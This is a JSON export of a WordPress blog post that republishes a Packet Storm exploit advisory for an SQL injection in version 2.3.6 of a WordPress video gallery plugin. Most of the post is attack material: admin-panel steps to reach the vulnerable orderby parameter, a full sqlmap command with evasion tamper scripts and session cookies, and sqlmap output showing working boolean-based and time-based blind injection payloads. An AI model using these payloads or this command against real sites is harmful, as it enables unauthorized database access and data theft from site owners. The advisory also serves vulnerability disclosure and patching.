{"id":57917,"date":"2024-07-05T18:29:50","date_gmt":"2024-07-05T15:29:50","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179387\/wpvideogallery236-sql.txt"},"modified":"2024-07-05T18:29:50","modified_gmt":"2024-07-05T15:29:50","slug":"wordpress-video-gallery-youtube-gallery-and-vimeo-gallery-2-3-6-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-video-gallery-youtube-gallery-and-vimeo-gallery-2-3-6-sql-injection\/","title":{"rendered":"WordPress Video Gallery &#8211; YouTube Gallery And Vimeo Gallery 2.3.6 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Wordpress Video Gallery &#8211; YouTube Gallery and Vimeo Gallery Plugin SQL Injection <br \/># Date: 2024-07-05<br \/># Exploit Author: tmrswrr<br \/># Category : Webapps<br \/># Vendor Homepage: https:\/\/total-soft.com\/wp-video-gallery\/<br \/># Version 2.3.6<\/p>\n<p>1. **Access the Admin Panel:**<br \/>&#8211; Navigate to the admin panel of your WordPress site.<br \/>&#8211; Go to `TS Video Gallery &gt; `Create ` &gt; ` Use Theme` and save it.<br \/>&#8220;`<br \/>2. After save it back to TS Video Gallery Click title : https:\/\/localhost\/wordpress\/wp-admin\/admin.php?page=tsvg-admin&amp;orderby=TS_VG_Title&amp;order=asc<br \/>3. Search for orderby parameter.<\/p>\n<p>## SQLMAP COMMAND<\/p>\n<p>python3 sqlmap.py -u &#8220;https:\/\/localhost\/wordpress\/wp-admin\/admin.php?page=tsvg-admin&amp;orderby=TS_VG_Title&amp;order=desc&#8221; &#8211;batch &#8211;dbms=mysql &#8211;thread 10 &#8211;no-cast &#8211;random-agent -v 3 &#8211;tamper=&#8221;between,randomcase,space2comment&#8221; &#8211;level=5 &#8211;risk=3 -p orderby &#8211;cookie=&#8221;wordpress_logged_in_d31d6d9d0bfd834c03c5a471886561f0=admin|1720346143|BXq7Kk6kWE6W8OhFfxRfE1vpFt00m9gRiPafjJPDU1N|0b78b25e2683d7f381967019db82b3f3fd9b06f1524ec128af92a74fe7c68e8f; \\<br \/>wordpress_sec_d31d6d9d0bfd834c03c5a471886561f0=admin|1720346143|BXq7Kk6kWE6W8OhFfxRfE1vpFt00m9gRiPafjJPDU1N|307f68044e4c2632757b13f86f770ceda3c9c7866a0b595b33a7a2f675224a15; \\<br \/>wordpress_test_cookie=WP Cookie check; \\<br \/>wp-settings-time-1=1720173805&#8243; &#8211;thread 10 <\/p>\n<p>## RESULT<\/p>\n<p>sqlmap identified the following injection point(s) with a total of 1026 HTTP(s) requests:<br \/>&#8212;<br \/>Parameter: orderby (GET)<br \/>Type: boolean-based blind<br \/>Title: Boolean-based blind &#8211; Parameter replace (original value)<br \/>Payload: page=tsvg-admin&amp;orderby=(SELECT (CASE WHEN (1078=1078) THEN 0x54535f56475f5469746c65 ELSE (SELECT 2977 UNION SELECT 8545) END))&amp;order=desc<br \/>Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: page=tsvg-admin&amp;orderby=TS_VG_Title AND (SELECT 6127 FROM (SELECT(SLEEP(5)))mIWx)&amp;order=desc<br \/>Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])<br \/>&#8212;<br \/>[08:37:45] [WARNING] changes made by tampering scripts are not included in shown payload content(s)<br \/>[08:37:45] [INFO] the back-end DBMS is MySQL<br \/>[08:37:45] [PAYLOAD] (seLecT\/**\/(cAsE\/**\/WHen\/**\/(veRSIOn()\/**\/liKe\/**\/0x254d61726961444225)\/**\/ThEN\/**\/0x54535f56475f5469746c65\/**\/elSE\/**\/(seLecT\/**\/6685\/**\/UNiON\/**\/seLecT\/**\/9990)\/**\/End))<br \/>web application technology: Apache 2.4.54, PHP 8.0.23<br \/>back-end DBMS: MySQL &gt;= 5.0.12 (MariaDB fork)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Wordpress Video Gallery &#8211; YouTube Gallery and Vimeo Gallery Plugin SQL Injection # Date: 2024-07-05# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https:\/\/total-soft.com\/wp-video-gallery\/# Version 2.3.6 1. **Access the Admin Panel:**&#8211; Navigate to the admin panel of your WordPress site.&#8211; Go to `TS Video Gallery &gt; `Create ` &gt; ` Use Theme` &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57917","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57917","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57917"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57917\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}